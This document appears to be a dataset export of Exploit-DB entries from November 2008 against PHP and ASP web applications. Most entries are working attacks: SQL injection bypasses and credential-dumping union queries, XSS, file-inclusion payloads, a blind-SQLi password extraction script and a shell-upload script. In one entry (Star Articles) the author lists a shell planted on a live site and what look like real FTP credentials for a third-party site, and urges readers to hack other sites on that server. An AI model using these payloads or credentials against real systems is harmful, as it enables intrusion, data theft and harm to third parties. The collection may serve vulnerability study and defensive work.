QLWD/code_shield huggingface dataset:
标题: Family Project 2.x - Authentication Bypass EDB-ID: 7248 CVE: 2008-6274 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: --------------------------------------Mor0ccan nightamres---------------------------------------------
Script     : familyproject

V3rs!0n    : 2.0

Download   : http://www.mjcreation.fr/familyproject/

Auth0r    : The_5p3ctrum
-----------------------------------------------------------------------------------

demo Exploit    :

http://www.mjcreation.fr/familyproject/demo/index.php

login : ' or 1=1 or 'r
pass  : ' or 1=1 or 'r

-----------------------------------------------------------------------------------

Greets :

str0ke  ,  Bayhay  ,  Cyber-Zone  , Mor0ccan nightamres

-----------------------------------------------------------------------------------

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7248
标题: i.Scribe SMTP Client 2.00b - 'wscanf' Remote Format String (PoC) EDB-ID: 7249 CVE: 2008-7074 类型: DOS 平台: WINDOWS 发布日期: 2008-11-27 漏洞利用脚本: <?php 
//I dont have c lol
/*___=++++++++++++__=--=________*****
 0-- 
  --  i.Scribe smtp client v 1.88 to 2.00 beta
      Format String (wscanf) bug p0c
      vendor : Memecode Software 
      grTs;SiD.psycho 
      A.Luja 27.11.08  

--)(________++++++++++++++++++++---*** 

___00)_- NOTE!!! you must enabled extension=php_sockets.dll in php.ini ___==
          Or just open nc -l -p 25 lol*/
$host= $_SERVER[SERVER_ADDR];
$port= 25;
$ret = "AAAA%n%n%n%n%n%n%n%n%n";
$socket = socket_create(AF_INET, SOCK_STREAM, 0) or die ("socket error\n"); 
$bind = socket_bind ($socket, $host, $port) or die ("bind error\n"); 
$listen = socket_listen($socket,1) or die("listen error\n");
printf("--==Fake smtp server ready==----\n");
printf("Now connect here witch iScribe client\n");
if(($acp=socket_accept($socket))!==false){
    printf("Target connected\n");
    sleep(2);
    printf("send evil char\n");
    $hello=socket_write($acp,$ret,strlen($ret));  
    printf("done\n");
    socket_close($acp);
}
socket_close($socket);
exit();
?>

//Alfons Luja

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7249
标题: Booking Centre 2.01 - 'HotelID' SQL Injection EDB-ID: 7253 CVE: 2008-6809 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------
 [~]Tybe: (hotel_habitaciones.php HotelID) Remote SQL Injection Vulnerability
  
 [~]Vendor: www.bookingcentre.eu
  
 [~]Software: Hotels Group
  
 [~]author: ((Ñ3d D3v!L)) 
  
 [~] Date: 28.11.2008 
  
 [~] Home: www.ahacker.biz 
  
 [~] contact: N/A 
 [~] ----------------------------------------------------------- 
  

 [~] Exploit: 

 http://demo.hotelsadmin.com/www_en/hotel_habitaciones.php?HotelID=(SQL)


 [~] (SQL): 

 1+union+select+concat_ws(0x3a,@@version,0x3a,user())--
  
 [~]-------------------------------------------------------------------------------- 
 [~] Greetz tO: keta & m4n0n & maxmos & EV!L KS@ & hesham_hacker 
 [~] 
 [~] spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ 
 [~] 
 [~] EV!L !NS!D3 734M ---> R3d-D3v!L--EXOT!C --poison scorbion --samakiller
 [~] 
 [~] xp10.biz & ahacker.biz
 [~] 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7253
标题: Web Calendar System 3.12/3.30 - Multiple Vulnerabilities EDB-ID: 7242 CVE: 2004-1552 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: 000000  00000     0000    0000  000  00 000000  0000000   0000  000000  00000
 0    0   0      0    0  0    0  0   0   0    0  0    0  0    0  0    0  0   0
 0    0   0     0  00 0 0        0  0    0    0  0      0  00 0  0    0  0    0
 0    0   0     0 0 0 0 0        0  0    0    0  0  0   0 0 0 0  0    0  0    0
 00000    0     0 0 0 0 0        0 0     00000   0000   0 0 0 0  00000   0    0
 0    0   0     0 0 0 0 0        000     0    0  0  0   0 0 0 0  0  0    0    0
 0    0   0     0  000  0        0  0    0    0  0      0  000   0  0    0    0
 0    0   0   0  0       0    0  0   0   0    0  0    0  0       0   0   0   0
000000  0000000   000     0000  000  00 000000  0000000   000   000  00 00000



[+] Script               : Web Calendar System v 3.12/3.30

[+] Exploit Type         : Multiple Exploits (XSS + remote bypass Exploit)

[+] Google Dork          : intitle:Web Calendar system v 3.30        inurl:.asp
[+] Google Dork          : intitle:Web Calendar system v 3.12        inurl:.asp

[+] Contact              : blackbeard-sql@hotmail.fr


--//--> Exploit : 

1) Remote Bypass Exploit :

http://[website]/[script]/db/agenda/calendar.asp?DoAction=USER&Change=LOGINFORM

username:' or '1'='1

password:' or '1'='1

2) Remote XSS exploit : 

In simple words :

http://[website]/[script]/CALENDAR.ASP?DoAction=Calendar&View=Search&SText=<script>alert('Bl@ckbe@rD is not dead yet')</script>[Peace xD ]

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7242
标题: pagetree CMS 0.0.2 Beta 0001 - Remote File Inclusion EDB-ID: 7255 CVE: 2008-7067 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: =============================================================================================================


  [o] PageTree CMS 0.0.2 BETA 0001 Remote File Inclusion Vulnerability

       Software : PageTree CMS version 0.0.2 BETA 0001
       Vendor   : http://pagetreecms.co.cc/
       Download : http://pagetree.googlecode.com/svn/trunk/
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


=============================================================================================================


  [o] Vulnerable file

       admin/plugins/Online_Users/main.php

        include($GLOBALS['PT_Config']['dir']['data']."content/1.php");



  [o] Exploit

       http://localhost/[path]/admin/plugins/Online_Users/main.php?GLOBALS[PT_Config][dir][data]=[evilcode]


=============================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://serverisdown.org/blog/]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 loqsa
       H312Y yooogy mousekill }^-^{ kaka11 martfella
       skulmatic olibekas ulga Cungkee k1tk4t str0ke

       GANYANG MALINGSIAL!!! [ http://malingsial.serverisdown.org/ ]

        
=============================================================================================================

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7255
标题: Ocean12 Contact Manager Pro - SQL Injection / Cross-Site Scripting / File Disclosure EDB-ID: 7244 CVE: 2008-6370 2008-6369 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: Ocean12 Contact Manager Pro
Version : 1.02
Vendor : http://ocean12tech.com/products/contact
Dork: Maintained with the Ocean12 Contact Manager Pro v1.02
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DDV,XSS,SQL)
---------------------------------------------------------
#########################################################
[SQL]:
http://site.com/path/default.asp?DisplayFormat=Card&Sort=[SQL]
 
[Database Disclosure Vulnerability]:
http://site.com/path/o12con.mdb
 
[XSS]:
http://site.com/path/?DisplayFormat=>"><ScRiPt>alert(1369)%3B</ScRiPt>&Action=Pouya_Server
---------------------------------
Victem :
http://ocean12tech.com/products/contact/demo

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7244
标题: TxtBlog 1.0 Alpha - Local File Inclusion EDB-ID: 7241 CVE: 2008-5639 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: ============================================================
  TxtBlog (index.php m) Local File Inclusion Vulnerability
============================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 27 November 2008
SITE   : cwh.citec.us


#####################################################
 APPLICATION : TxtBlog
 VERSION     : v.1.0 Alpha
 DOWNLOAD    : http://downloads.sourceforge.net/txtblogcms/txtblogcms-1.0a.zip
#####################################################

--- Local File Inclusion ---

-----------------------------
 Vulnerable File (index.php)
-----------------------------

function showMonth() {
 global $config_date_format, $txtblog_body, $txtblog_title, $config_title;

 $txtblog_body = "";
 $txtblog_title = "$config_title - Archives";

 $year = $_GET['y'];   
 $month = $_GET['m'];    

 $files = findFiles("data/$year/$month"); <<< BUG !!!!
 
 if (isset($files)) {
 foreach ($files as $file) {
    
  include ("data/$year/$month/$file"); <<< BUG !!!!
  $date_array = explode(" ",$date);
  $date = date($config_date_format, mktime($date_array[0], $date_array[1], $date_array[2], $date_array[3], $date_array[4], $date_array[5]));
  $txtblog_body .= "<span class='blog_title'>$title</span><br>\n<span class='blog_date'>$date</span><br>\n".bb2html($blog)."<br>\n<hr size='1'>\n";

 }
 }
}

---------
 Exploit
---------

[+] http://[Target]/[txtblogcms_path]/index.php?y=2005&m=01/../../../../../../../../etc/passwd%00


#######################################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#######################################################################################

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7241
标题: Star Articles 6.0 - Arbitrary File Upload EDB-ID: 7251 CVE: 2008-7076 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: [~] Star Articles 6.0 Remote File Upload
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] dork: allinurl:"article.download.php"   ( baya bi site var )
[~]
[~] N0T: pls dont make demos ( demolarI hacklemeyin LUTFEN kucuk bir rica )
[~] -----------------------------------------------------------

expl:

http://script//authorphoto/user_name[id].php

example:

http://www.lcfarticles.com//authorphoto/zorlu40.php ( according to me you dont make hack this site )

http://www.lcfarticles.com//authorphoto/zorlu40.php?act=ls&d=%2Fetc%2Fvdomainaliases ( server fena deil )

hemen hacklemeyin arkadaslar serverÃ½ kurcalayIn bakIn misal:

http://www.lcfarticles.com//authorphoto/zorlu40.php?act=ls&d=%2Fhome%2Fkiddybab%2Fpublic_html%2F

bir cok site var. ya rootlayÃ½n yada tek tek cakÃ½n config okuyun vs. serverdaki sitelerle ugrasmadan zone kasIlmaz ;) 

http://www.lcfarticles.com//authorphoto/zorlu40.php?act=ls&d=%2Fhome%2Fkiddybab%2Fpublic_html%2F

bu serverdaki bir site icin:

ftp://ftp.ababy.com.au/  ( ftp pass ve username )

user: kiddybab

pass: KidEw1nk08

ne biliyim iste biseler yapmaya calIsIn amacIm yardImcÃ½ olmak yoksa isterseniz hemen hackleyin isterseniz kurcalayIn siz bilirsiniz ;)


first register for site

after login to site and edit profile ( direck lnk: http://www.lcfarticles.com/user.modify.profile.php )

click to gozat button and select your shell after upload you shell

more after go repat edit profile page and you look you photo. right click to you photo

select to properties copy photo link and paste you explorer.

go your shell

examp:

user: trt-turk@hotmail.com

passwd: zorlu1

login: 

http://www.lcfarticles.com/user.login.php

shell:

http://www.lcfarticles.com//authorphoto/zorlu40.php


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7251
标题: RakhiSoftware Shopping Cart - SQL Injection EDB-ID: 7250 CVE: 2008-6277 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: [â– ] Prince Comparison Script : Shopping card <= Rem0tE $ql Injection
 
>@.@<

> AuToR: XaDoS
> Contact M&: xados [at] hotmail [dot] it
> BÂ§g: Remote Sql inJection
> SIte vuln: http://willscript.com/rjbike_new/index.php
 
>@.@<
 

 
[â– ] ExPL0iT:
 
|: http://www.example.com/product.php?category_id=1&subcategory_id=[$qL]
 
 
 
[â– ] DÂ£M0:  
 
|: http://willscript.com/rjbike_new/product.php?category_id=1&subcategory_id=4 union select 1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from admin--
 
(you see the username and password of adm in the title of one product)
 
[â– ] Th4nKs::
 
\> str0ke </
\> OnlY me ( no help for this ) ;-) </

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7250
标题: Star Articles 6.0 - Blind SQL Injection (2) EDB-ID: 7243 CVE: 2008-7075 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-27 漏洞利用脚本: <?php
 /*         ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                               +
        +            stararticles blind sql injection Vulnerability  xpl         +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
AUTHOR : Mountassif Moad
DATE   : 26 nov 2008
#####################################################
APPLICATION   : stararticles
DOWNLOAD(175$): http://cmsnx.com/psf/order.php?id=5
VENDOR        : http://www.stararticles.com/
DEMO          : http://www.kalptarudemos.com/demo/stararticle/
DORK          : inurl:"article.download.php"
#####################################################
 */

#
ini_set("max_execution_time",0);
print_r('
###############################################################
#         stararticles Blind SQL Injection Exploit 
#php '.$argv[0].' "http://www.site.com/article.download.php?artid=36106" 1
#                                                         
###############################################################
');
if ($argc > 1) {
$url = $argv[1];
if ($argc < 3) {
$userid = 1;
} else {
$userid = $argv[2];
}
$r = strlen(file_get_contents($url."+and+1=1"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0"));
$t = abs((100-($w/$r*100)));
echo "\nPassword: ";
for ($j = 1; $j <= 32; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+myart_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".$i.""));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+myart_users+where+id=".$userid."+limit+0,1),".$j.",1))%3E".($i-1).""));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} else {
echo "\nExploiting failed: By Stack\n";
}
?>

# milw0rm.com [2008-11-27] URL: https://www.exploit-db.com/exploits/7243
标题: ParsBlogger - 'blog.asp' SQL Injection EDB-ID: 7239 CVE: 2008-5637 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-26 漏洞利用脚本: --------------------------------------------------------------------------------------------------------------------

[~] Script   : ParsBlogger

[~] Version  : >!<

[~] Link       : http://www.parsblogger.com

[~] Dork      : "Powered by ParsBlogger"

[~] Author   : BorN To K!LL

[~] TeaM     : Security Geeks [ Sec-Geeks.com ]

--------------------------------------------------------------------------------------------------------------------

[~] Exploit :.

site.ir/blog.asp?wr=[SQL]

[~] Example :.

site.ir/blog.asp?wr=-5+union+all+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13+from+writer--

--------------------------------------------------------------------------------------------------------------------

[~] Greetings :.

[ Är Ä¦Î»CÐšÎ£Î“ ] , [ SECURITY GÎ£Î£KS ] , [ AsbMay's Group ] , [ w4ck1ng TeaM ] , [ darkc0de TeaM ] , [ Juba ] .. n all muslims

--------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-11-26] URL: https://www.exploit-db.com/exploits/7239
标题: Post Affiliate Pro 3 - 'umprof_status' Blind SQL Injection EDB-ID: 7238 CVE: 2008-5630 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-26 漏洞利用脚本: [â– ]  Post Affiliate Pro v.3 (index.php md) <= Blind $ql Injection

 
>Â©<

> AuToR: XaDoS
> Contact M&: xados [at] hotmail [dot] it
> BÂ§g: Blind $ql inJection
> SIte vuln: http://www.qualityunit.com/postaffiliatepro/

>Â©<
 
 
[â– ] ExPL0iT:
 
|: http://www.example.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=[sql] 
 
 [you must be merchants]

[â– ] DÂ£M0: 
 
|: http://www.demo.qualityunit.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=1 and substring(@@version,1,1)=5 [NOÂ°Â°]
 
|: http://www.demo.qualityunit.com/postaffiliatepro3/merchants/index.php?md=Affiliate_Merchants_Views_AffiliateManager&fromprofile=1&umprof_status=1 and substring(@@version,1,1)=5 [y&$ ;-)] 
 

 
[â– ] Th4nKs::
 
\> Str0ke </
\> Joy Division </
\> Teo Babbeo </
\> Spud </
\> Loooo Z00ooo00oo0 </  Lol ;-)

# milw0rm.com [2008-11-26] URL: https://www.exploit-db.com/exploits/7238
标题: Jamit Job Board 3.x - Blind SQL Injection EDB-ID: 7235 CVE: 2008-5295 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-25 漏洞利用脚本: [â– ]  Jamit Job Board v.3 (index.php show_emp) <= Blind $ql Injection

 
>â˜»<

> AuToR: XaDoS
> Contact M&: xados [at] hotmail [dot] it
> Site: www.securitycode.it
> BÂ§g: Blind $ql inJection
> SIte vuln: http://www.jamit.com

>â˜»<
 
 
[â– ] ExPL0iT:
 
|: http://www.example.com/index.php?show_emp=[sql] 
 
 
[â– ] DÂ£M0: 
 
|: http://www.jamit.com/jobs/index.php?show_emp=1%20and%20substring(@@version,1,1)=4 [NOÂ°Â°]
 
|: http://www.jamit.com/jobs/index.php?show_emp=1%20and%20substring(@@version,1,1)=5 [y&$] 
 
(l00k at the end of the PaG&)

 
[â– ] Th4nKs:::::>
 
\> Str0ke </\> Thc(MarJuana) </\> WiLLiam S. Burroughs </\> LiLiTh (You Ar& Mi!nE!) </

# milw0rm.com [2008-11-25] URL: https://www.exploit-db.com/exploits/7235
标题: Fuzzylime CMS 3.03 - 'track.php' Local File Inclusion EDB-ID: 7231 CVE: 2008-5291 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-25 漏洞利用脚本: /*
--+_---=+--=_____=+++++

-- FuzzyLime 3.03 Local File Iclude PoC 
    ***
   (-0-)
  -____======_+++++---''''
***************************************__________________
-- Vuln 
 - code/track.php
   
  $m = $_GET[m];
  $p = $_GET[p]; //1 
  include "settings.inc.php";
  if(!isset($_POST[url]) || !isset($_POST[title]) || !isset($_POST[excerpt])) { //2
 header("Location: ${rooturl}index.php?s=news&p=$p&m=$m");
  }
  else {
    if(file_exists("../blogs/$p.inc.php")) { //3
  include "../blogs/$p.inc.php";     //4 
   ...
1 $p is not filtered 
2 When POST'S is set 
3 and file exists
4 we have lfi

---+++++....--___________--============
*/


Go to LIVE_HTTP_HEADERS in firefox or opera or whatever
set url  http://site/path/code/track.php?p=[file] 
set "SEND POST CONNTENT"  url=evil&title=666&excerpt=xd
and push reply 
 
//Alfons Luja  25.12.2008

# milw0rm.com [2008-11-25] URL: https://www.exploit-db.com/exploits/7231
标题: Clean CMS 1.5 - Blind SQL Injection / Cross-Site Scripting EDB-ID: 7228 CVE: 2008-5290 2008-5289 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-25 漏洞利用脚本: [~] Clean CMS 1.5 Blind Sql & XSS Multiple Remote Vuln.
[~]
[~] script: http://www.4yoursite.nl/script_clean_cms.php
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------

exp for demo:

http://www.4yoursite.nl/demo/clean_cms/full_txt.php?id=19+and+substring(@@version,1,1)=4 ( true )

http://www.4yoursite.nl/demo/clean_cms/full_txt.php?id=19+and+substring(@@version,1,1)=3 ( false )

XSS for demo:

http://www.4yoursite.nl/demo/clean_cms/full_txt.php?id="><script>alert()</script>


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-25] URL: https://www.exploit-db.com/exploits/7228
标题: LoveCMS 1.6.2 Final (Download Manager 1.0) - Arbitrary File Upload EDB-ID: 7233 CVE: 2008-7062 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-25 漏洞利用脚本: <?php

/**
* LoveCMS 1.6.2 Final (Download Manager v1.0) Arbitrary File Upload Exploit
* Discovered && Exploited by cOndemned
*
* Download:
* http://www.thethinkingman.net/modules/download_manager/?id=16
*
* Description:
* This exploit allows attacker to upload any type of file [no extension
* filtration] ex. php shell... 
*
* Uploader is adding random number on the begining of file name so user
* have to check it manually.
*
* for more information check /modules/download_manager/admin/index.php
* lines 10 - 27.
*
* Greetz:
* ZaBeaTy, str0ke, Necro, doctor, sid.psycho, 0in, TBH & Avantura...
*
*/

 if($argc != 3)
 {
  printf("\n[~] Usage: php %s <target> <localfile>\n", $argv[0]);
  printf("[~] Ex.: php %s localhost/lovecms shell.php\n\n", $argv[0]);
  exit; 
 }

 list($script, $target, $file) = $argv;

 $xpl = curl_init();

 curl_setopt($xpl, CURLOPT_URL, $target . '/modules/download_manager/admin/index.php');
 curl_setopt($xpl, CURLOPT_RETURNTRANSFER, true);
 curl_setopt($xpl, CURLOPT_POST, true);
 curl_setopt($xpl, CURLOPT_POSTFIELDS, array('file' => '@' . $file, 'submit' => 'Upload'));
 
 curl_exec($xpl);
 curl_close($xpl);

 printf("[!] Go to the %s/uploads/ and check U'r file :)\n\n", $target);
 
?>

# milw0rm.com [2008-11-25] URL: https://www.exploit-db.com/exploits/7233
标题: Pie Web m{a,e}sher mod rss 0.1 - Remote File Inclusion EDB-ID: 7225 CVE: 2008-7073 类型: WEBAPPS 平台: PHP 发布日期: 2008-11-25 漏洞利用脚本: [~] Pie Web RSS module 0.1 (lib) Remote File injulide : ) )
[~]
[~] download: http://pie.ekkaia.org/file/mod_rss-0.1.tar.gz
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~]
[~] N0T: RedHaK Kardesime ozel tesekurler.
[~] -----------------------------------------------------------

file: rss-0.1/lib/action/rss.php

c0de: 

include_once("$lib/class/page.php");
include_once("$lib/share/link.php");
include_once("$lib/share/stdio.php");
include_once("$lib/share/string.php");

exp:

http://localhost/script/[pie installation]/lib/action/rss.php?lib=ZoRLu.txt?


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & RedHaK
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-11-25] URL: https://www.exploit-db.com/exploits/7225